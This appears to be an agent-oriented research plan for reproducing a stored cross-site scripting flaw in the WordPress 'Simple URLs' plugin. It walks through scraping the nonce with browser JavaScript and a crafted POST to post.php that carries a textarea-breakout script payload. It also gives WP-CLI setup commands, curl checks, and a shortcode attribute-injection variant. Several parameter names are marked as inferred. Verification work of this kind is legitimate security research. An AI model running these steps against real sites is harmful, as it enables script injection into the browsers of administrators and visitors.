Simple URLs – Link Cloaking, Product Displays, and Affiliate Link Management <= 151 - Authenticated (Author+) Stored Cross-Site Scripting

This report outlines a research plan for analyzing and verifying CVE-2026-57762, a Stored Cross-Site Scripting (XSS) vulnerability in the "Simple URLs" plugin.

1. Vulnerability Summary

The "Simple URLs" plugin (versions <= 151) fails to sufficiently sanitize user-supplied input when saving metadata for its custom post type (likely surl) and subsequently fails to escape this data when rendering it in "Product Displays" or via shortcodes. This allows an authenticated user with Author-level permissions to inject malicious scripts into the database. When an administrator or visitor views the affected link or product display, the script executes in their browser context.

2. Attack Vector Analysis

• Vulnerable Endpoint: wp-admin/post.php (The standard WordPress post-save handler).
• Vulnerable Parameter: Likely a custom meta field used for "Product Displays" (e.g., surl_title, surl_description, or surl_cta_text) (inferred).
• Required Authentication: Author-level or higher. Authors have the edit_posts and publish_posts capabilities for the surl custom post type.
• Preconditions: The "Simple URLs" plugin must be active, and at least one "Simple URL" post must be created or edited by the attacker.

3. Code Flow (Inferred)

1. Input: The Author submits a POST request to wp-admin/post.php to save/update a Simple URL post.
2. Processing: The plugin hooks into save_post or admin_init. It retrieves metadata from $_POST (e.g., $_POST['surl_description']).
3. Persistence: The code likely uses update_post_meta() without applying sanitize_text_field() or wp_kses() on the input, storing the raw payload in the wp_postmeta table.
4. Output: When a user visits a page containing the [simple-url] shortcode or a "Product Display" widget, the plugin calls get_post_meta().
5. Sink: The retrieved data is echoed directly into the HTML template without using escaping functions like esc_html() or esc_attr().

4. Nonce Acquisition Strategy

To update a post via the standard WordPress admin interface, a _wpnonce is required. This nonce is specific to the post being edited and the user's session.

1. Identify Trigger: The nonce is generated when the "Edit" screen for a Simple URL post is loaded.
2. Setup: Use the wp post create CLI command to create a placeholder Simple URL post (see Section 6).
3. Acquisition:
   • Navigate the browser to wp-admin/post.php?post=POST_ID&action=edit.
   • The nonce is typically located in a hidden input field with the ID _wpnonce.
   • Agent Command: browser_eval("document.querySelector('#_wpnonce').value")
4. Action String: The action string used for this nonce in WordPress core is "update-post_{$post_id}".

5. Exploitation Strategy

The goal is to demonstrate Stored XSS by injecting a canary payload into a metadata field.

Step 1: Obtain Post ID and Nonce
As an Author, navigate to the edit page of a Simple URL post to retrieve the _wpnonce.

Step 2: Submit Malicious Metadata
Submit a POST request to update the post metadata.

• Tool: http_request
• URL: https://<target>/wp-admin/post.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body Parameters:
  • action: editpost
  • post_ID: <TARGET_POST_ID>
  • _wpnonce: <EXTRACTED_NONCE>
  • surl_description: </textarea><script>console.log('XSS_VERIFIED')</script> (inferred parameter name)
  • publish: Update

Step 3: Trigger the XSS
View the frontend page where the Simple URL is displayed.

• URL: https://<target>/index.php/page-with-shortcode/
• Expectation: The script console.log('XSS_VERIFIED') executes in the browser.

6. Test Data Setup

1. Create Author User:
   wp user create attacker author@example.com --role=author --user_pass=password123
2. Identify Plugin Post Type:
   wp post-type list (Confirm if it is surl).
3. Create Target Post:
   wp post create --post_type=surl --post_title="Affiliate Link" --post_status=publish --post_author=$(wp user get attacker --field=ID)
4. Create Display Page:
   wp post create --post_type=page --post_title="Display Page" --post_content='[simple-url id="<POST_ID>"]' --post_status=publish

7. Expected Results

• The http_request should return a 302 Found status code, redirecting back to the post edit page.
• The database should show the payload stored in wp_postmeta.
• When the Display Page is accessed, the browser's console should show XSS_VERIFIED.

8. Verification Steps (Post-Exploit)

• Verify Database Storage:
  wp post meta get <POST_ID> surl_description
• Check Output via CLI:
  curl -s "https://<target>/display-page/" | grep "XSS_VERIFIED"

9. Alternative Approaches

• Field Probing: If surl_description is not the sink, try other fields like surl_cta, surl_price, or the link's title.
• Post Meta directly: If the admin UI is too restrictive, check for AJAX handlers registered via wp_ajax_ that update settings or metadata without capability checks.
• Shortcode Attribute Injection: Check if the shortcode itself is vulnerable to attribute breakout: [simple-url id="1" title='"><script>alert(1)</script>'].